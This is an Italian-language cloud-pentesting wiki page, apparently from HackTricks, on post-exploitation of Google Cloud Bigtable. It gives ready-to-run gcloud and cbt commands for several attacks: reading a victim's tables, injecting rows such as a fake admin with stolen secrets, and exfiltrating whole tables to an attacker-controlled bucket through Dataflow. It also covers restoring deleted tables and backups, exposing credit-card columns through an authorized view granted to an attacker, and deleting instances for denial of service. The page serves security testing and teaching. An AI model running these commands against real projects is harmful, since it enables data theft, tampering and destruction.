# GCP - Bigtable Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Per maggiori informazioni su Bigtable consulta:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

> [!TIP]
> Installa il CLI `cbt` una sola volta tramite il Cloud SDK in modo che i comandi sotto funzionino in locale:
>
> <details>
>
> <summary>Installa cbt CLI</summary>
>
> ```bash
> gcloud components install cbt
> ```
>
> </details>

### Lettura delle righe

**Permessi:** `bigtable.tables.readRows`

`cbt` è incluso nel Cloud SDK e si interfaccia con le admin/data APIs senza necessità di middleware. Puntalo sul progetto/istanza compromessa e scarica le righe direttamente dalla tabella. Limita la scansione se ti serve solo dare un'occhiata.

<details>

<summary>Leggi record di Bigtable</summary>
```bash
# Install cbt
gcloud components update
gcloud components install cbt

# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
</details>

### Scrivere righe

**Permessi:** `bigtable.tables.mutateRows`, (avrai bisogno di `bigtable.tables.readRows` per confermare la modifica).

Usa lo stesso strumento per upsertare celle arbitrarie. Questo è il modo più rapido per backdoor configs, drop web shells, o plant poisoned dataset rows.

<details>

<summary>Iniettare riga malevola</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
</details>

`cbt set` accetta byte grezzi tramite la sintassi `@/path`, quindi puoi inviare payloads compilati o protobufs serializzati esattamente come li si aspettano i servizi downstream.

### Dump rows to your bucket

**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

È possibile esfiltrare il contenuto di un'intera tabella in un bucket controllato dall'attacker avviando un job Dataflow che streama le righe in un bucket GCS che controlli.

> [!NOTE]
> Nota che avrai bisogno della permissione `iam.serviceAccounts.actAs` su un SA con i permessi necessari per eseguire l'export (di default, se non indicato diversamente, verrà usato il compute SA di default).

<details>

<summary>Export Bigtable to GCS bucket</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

> [!NOTE]
> Cambia il template in `Cloud_Bigtable_to_GCS_Parquet` o `Cloud_Bigtable_to_GCS_SequenceFile` se vuoi output Parquet/SequenceFile invece di JSON. Le autorizzazioni sono le stesse; cambia solo il percorso del template.

### Importa righe

**Permessi:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

È possibile importare il contenuto di un'intera tabella da un bucket controllato dall'attaccante lanciando un job Dataflow che invia in streaming le righe in un bucket GCS che controlli. Per questo l'attaccante dovrà prima creare un file parquet con i dati da importare e lo schema previsto. L'attaccante potrebbe prima esportare i dati in formato parquet seguendo la tecnica precedente con l'impostazione `Cloud_Bigtable_to_GCS_Parquet` e aggiungere nuove voci nel file parquet scaricato



> [!NOTE]
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per default, se non indicato diversamente, verrà usato il compute SA predefinito).

<details>

<summary>Importa dal bucket GCS a Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

### Ripristino dei backup

**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.

Un attaccante con queste autorizzazioni può ripristinare un backup in una nuova tabella sotto il suo controllo per poter recuperare dati sensibili storici.

<details>

<summary>Ripristina backup di Bigtable</summary>
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>

gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
</details>

### Ripristino tabelle

**Permessi:** `bigtable.tables.undelete`

Bigtable supporta la soft-deletion con un periodo di grazia (tipicamente 7 giorni per impostazione predefinita). Durante questa finestra, un attaccante con il permesso `bigtable.tables.undelete` può ripristinare una tabella eliminata di recente e recuperare tutti i suoi dati, accedendo potenzialmente a informazioni sensibili che si ritenevano distrutte.

Questo è particolarmente utile per:
- Recuperare dati da tabelle eliminate dai difensori durante la risposta agli incidenti
- Accedere a dati storici che sono stati cancellati intenzionalmente
- Ripristinare eliminazioni accidentali o dannose per mantenere la persistenza

<details>

<summary>Ripristina tabella Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
</details>

> [!NOTE]
> L'operazione di undelete funziona solo entro il periodo di retention configurato (impostazione predefinita 7 giorni). Dopo la scadenza di questa finestra, la tabella e i suoi dati vengono eliminati definitivamente e non possono essere recuperati tramite questo metodo.


### Create Authorized Views

**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`

Authorized views permettono di presentare un sottoinsieme curato della tabella. Invece di rispettare il principio del minimo privilegio, usale per pubblicare **esattamente i set di colonne/righe sensibili** che ti interessano e per inserire nella whitelist il tuo principal.

> [!WARNING]
> Il fatto è che per creare una authorized view devi anche poter leggere e mutare le righe nella tabella di base; quindi non ottieni alcun permesso aggiuntivo, pertanto questa tecnica è per lo più inutile.

<details>

<summary>Crea authorized view</summary>
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF

gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
</details>

Poiché l'accesso è limitato alla view, i difensori spesso trascurano il fatto che hai appena creato un nuovo endpoint ad alta sensibilità.

### Lettura di Authorized Views

**Permessi:** `bigtable.authorizedViews.readRows`

Se hai accesso a un Authorized View, puoi leggere i dati da esso usando le librerie client di Bigtable specificando il nome dell'authorized view nelle tue richieste di lettura. Nota che l'authorized view probabilmente limiterà ciò a cui puoi accedere dalla table. Di seguito un esempio che usa Python:

<details>

<summary>Leggere dall'Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")
```
</details>

### Denial of Service tramite operazioni di eliminazione

**Permessi:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`

Qualsiasi permesso di eliminazione di Bigtable può essere sfruttato per attacchi di Denial of Service. Un attaccante con questi permessi può interrompere le operazioni eliminando risorse critiche di Bigtable:

- **`bigtable.appProfiles.delete`**: Eliminare i profili di applicazione, interrompendo le connessioni client e le configurazioni di routing
- **`bigtable.authorizedViews.delete`**: Rimuovere le visualizzazioni autorizzate, interrompendo i percorsi di accesso legittimi per le applicazioni
- **`bigtable.authorizedViews.deleteTagBinding`**: Rimuovere le associazioni di tag dalle visualizzazioni autorizzate
- **`bigtable.backups.delete`**: Distruggere snapshot di backup, eliminando le opzioni di disaster recovery
- **`bigtable.clusters.delete`**: Eliminare interi cluster, causando l'indisponibilità immediata dei dati
- **`bigtable.instances.delete`**: Rimuovere intere istanze Bigtable, cancellando tutte le tabelle e le configurazioni
- **`bigtable.tables.delete`**: Eliminare singole tabelle, causando perdita di dati e malfunzionamenti delle applicazioni

<details>

<summary>Elimina risorse Bigtable</summary>
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>

# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>

# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>

# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>

# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>

# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
</details>

> [!WARNING]
> Le operazioni di eliminazione sono spesso immediate e irreversibili. Assicurati che siano disponibili backup prima di testare questi comandi, poiché possono causare perdita permanente di dati e gravi interruzioni del servizio.

{{#include ../../../banners/hacktricks-training.md}}
